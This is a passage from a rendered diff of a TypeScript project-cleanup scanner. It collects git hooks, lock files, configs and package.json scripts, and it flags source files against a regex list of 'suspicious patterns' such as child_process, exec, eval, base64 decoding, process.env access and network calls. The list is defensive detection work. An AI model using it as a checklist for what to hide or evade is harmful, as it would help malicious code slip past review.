console.error(pc.red(`Error scanning directory: ${error}`));
|
|
37
|
+
process.exit(1);
|
|
38
|
+
}
|
|
39
|
+
|
|
40
|
+
return cleanupTargets;
|
|
41
|
+
}
|
|
42
|
+
|
|
43
|
+
async function scanGitDirectoryAsync(gitDir: string): Promise<CleanupTarget[]> {
|
|
44
|
+
const gitTargets: CleanupTarget[] = [];
|
|
45
|
+
|
|
46
|
+
try {
|
|
47
|
+
const hooksDir = path.join(gitDir, 'hooks');
|
|
48
|
+
try {
|
|
49
|
+
const hookFiles = await fs.promises.readdir(hooksDir);
|
|
50
|
+
|
|
51
|
+
for (const hookFile of hookFiles) {
|
|
52
|
+
if (hookFile.endsWith('.sample')) continue;
|
|
53
|
+
|
|
54
|
+
const hookPath = path.join(hooksDir, hookFile);
|
|
55
|
+
const stats = await fs.promises.stat(hookPath);
|
|
56
|
+
|
|
57
|
+
if (stats.isFile()) {
|
|
58
|
+
const content = await fs.promises.readFile(hookPath, 'utf-8');
|
|
59
|
+
gitTargets.push({
|
|
60
|
+
path: hookPath,
|
|
61
|
+
type: 'git-hook',
|
|
62
|
+
description: `Git hook: ${hookFile}`,
|
|
63
|
+
content: content.length > 500 ? content.substring(0, 500) + '...' : content,
|
|
64
|
+
});
|
|
65
|
+
}
|
|
66
|
+
}
|
|
67
|
+
} catch {
|
|
68
|
+
// Hooks directory doesn't exist or can't be read
|
|
69
|
+
}
|
|
70
|
+
} catch (error) {
|
|
71
|
+
console.warn(pc.yellow(`Warning: Could not scan .git directory: ${error}`));
|
|
72
|
+
}
|
|
73
|
+
|
|
74
|
+
return gitTargets;
|
|
75
|
+
}
|
|
76
|
+
|
|
77
|
+
async function analyzeFileAsync(filename: string, filePath: string): Promise<CleanupTarget | null> {
|
|
78
|
+
const lockFiles = ['package-lock.json', 'yarn.lock', 'pnpm-lock.yaml', 'bun.lock', 'bun.lockb'];
|
|
79
|
+
|
|
80
|
+
if (lockFiles.includes(filename)) {
|
|
81
|
+
return {
|
|
82
|
+
path: filePath,
|
|
83
|
+
type: 'lockfile',
|
|
84
|
+
description: `Lock file: ${filename}`,
|
|
85
|
+
autoRemove: true,
|
|
86
|
+
};
|
|
87
|
+
}
|
|
88
|
+
|
|
89
|
+
const configFiles = [
|
|
90
|
+
'eslint.config.js',
|
|
91
|
+
'.eslintrc.js',
|
|
92
|
+
'metro.config.js',
|
|
93
|
+
'babel.config.js',
|
|
94
|
+
'.babelrc',
|
|
95
|
+
'tsconfig.json',
|
|
96
|
+
];
|
|
97
|
+
|
|
98
|
+
if (configFiles.includes(filename)) {
|
|
99
|
+
const content = await fs.promises.readFile(filePath, 'utf-8');
|
|
100
|
+
return {
|
|
101
|
+
path: filePath,
|
|
102
|
+
type: 'config',
|
|
103
|
+
description: `Config file: ${filename}`,
|
|
104
|
+
content: content.length > 500 ? content.substring(0, 500) + '...' : content,
|
|
105
|
+
};
|
|
106
|
+
}
|
|
107
|
+
|
|
108
|
+
if (filename === 'app.config.js' || filename === 'app.config.ts') {
|
|
109
|
+
const content = await fs.promises.readFile(filePath, 'utf-8');
|
|
110
|
+
return {
|
|
111
|
+
path: filePath,
|
|
112
|
+
type: 'app-config',
|
|
113
|
+
description: `App config: ${filename}`,
|
|
114
|
+
content,
|
|
115
|
+
};
|
|
116
|
+
}
|
|
117
|
+
|
|
118
|
+
if (filename === 'package.json') {
|
|
119
|
+
const content = await fs.promises.readFile(filePath, 'utf-8');
|
|
120
|
+
try {
|
|
121
|
+
const pkg = JSON.parse(content);
|
|
122
|
+
if (pkg.scripts && Object.keys(pkg.scripts).length > 0) {
|
|
123
|
+
return {
|
|
124
|
+
path: filePath,
|
|
125
|
+
type: 'package-scripts',
|
|
126
|
+
description: 'package.json scripts section',
|
|
127
|
+
content: JSON.stringify(pkg.scripts, null, 2),
|
|
128
|
+
};
|
|
129
|
+
}
|
|
130
|
+
} catch (error) {
|
|
131
|
+
console.warn(pc.yellow(`Warning: Could not parse package.json: ${error}`));
|
|
132
|
+
}
|
|
133
|
+
}
|
|
134
|
+
|
|
135
|
+
if (filename.endsWith('.ts') || filename.endsWith('.js')) {
|
|
136
|
+
return await analyzeSourceFileAsync(filename, filePath);
|
|
137
|
+
}
|
|
138
|
+
|
|
139
|
+
return null;
|
|
140
|
+
}
|
|
141
|
+
|
|
142
|
+
async function analyzeSourceFileAsync(filename: string, filePath: string): Promise<CleanupTarget> {
|
|
143
|
+
const content = await fs.promises.readFile(filePath, 'utf-8');
|
|
144
|
+
|
|
145
|
+
const suspiciousPatterns = [
|
|
146
|
+
/require\s*\(\s*['"`]child_process['"`]\s*\)/gi,
|
|
147
|
+
/import.*child_process/gi,
|
|
148
|
+
/spawn|exec|fork/gi,
|
|
149
|
+
/eval\s*\(/gi,
|
|
150
|
+
/Function\s*\(/gi,
|
|
151
|
+
/process\.exit/gi,
|
|
152
|
+
/fs\.unlink|fs\.rm|fs\.rmdir/gi,
|
|
153
|
+
/\.deleteFile|\.delete/gi,
|
|
154
|
+
/system\s*\(/gi,
|
|
155
|
+
/shell\s*\(/gi,
|
|
156
|
+
/\.env\s*\[/gi,
|
|
157
|
+
/process\.env\./gi,
|
|
158
|
+
/Buffer\.from.*base64/gi,
|
|
159
|
+
/atob|btoa/gi,
|
|
160
|
+
/crypto\./gi,
|
|
161
|
+
/net\.|http\.|https\./gi,
|
|
162
|
+
/fetch\s*\(/gi,
|
|
163
|
+
/XMLHttpRequest/gi,
|
|
164
|
+
/WebSocket/gi,
|
|
165
|
+
/require.*\.\./gi,
|
|
166
|
+
];
|
|
167
|
+
|
|
168
|
+
const foundPatterns = suspiciousPatterns.filter((pattern) => pattern.test(content));
|
|
169
|
+
|
|
170
|
+
let displayContent = content.length > 1000 ? content.substring(0, 1000) + '...' : content;
|
|
171
|
+
|
|
172
|
+
if (foundPatterns.length > 0) {
|
|
173
|
+
suspiciousPatterns.forEach((pattern) => {
|
|
174
|
+
displayContent = displayContent.replace(pattern, (match) => {
|
|
175
|
+
return `🚨${match}🚨`;
|
|
176
|
+
});
|
|
177
|
+
});
|
|
178
|
+
}
|
|
179
|
+
|
|
180
|
+
return {
|
|
181
|
+
path: filePath,
|
|
182
|
+
type: 'source-file',
|
|
183
|
+
description: `Source file: ${filename}${
|
|
184
|
+
foundPatterns.length > 0 ? ' (⚠️ SUSPICIOUS PATTERNS DETECTED)' : ''
|
|
185
|
+
}`,
|
|
186
|
+
content: displayContent,
|
|
187
|
+
};
|
|
188
|
+
}
|
package/src/types.ts
ADDED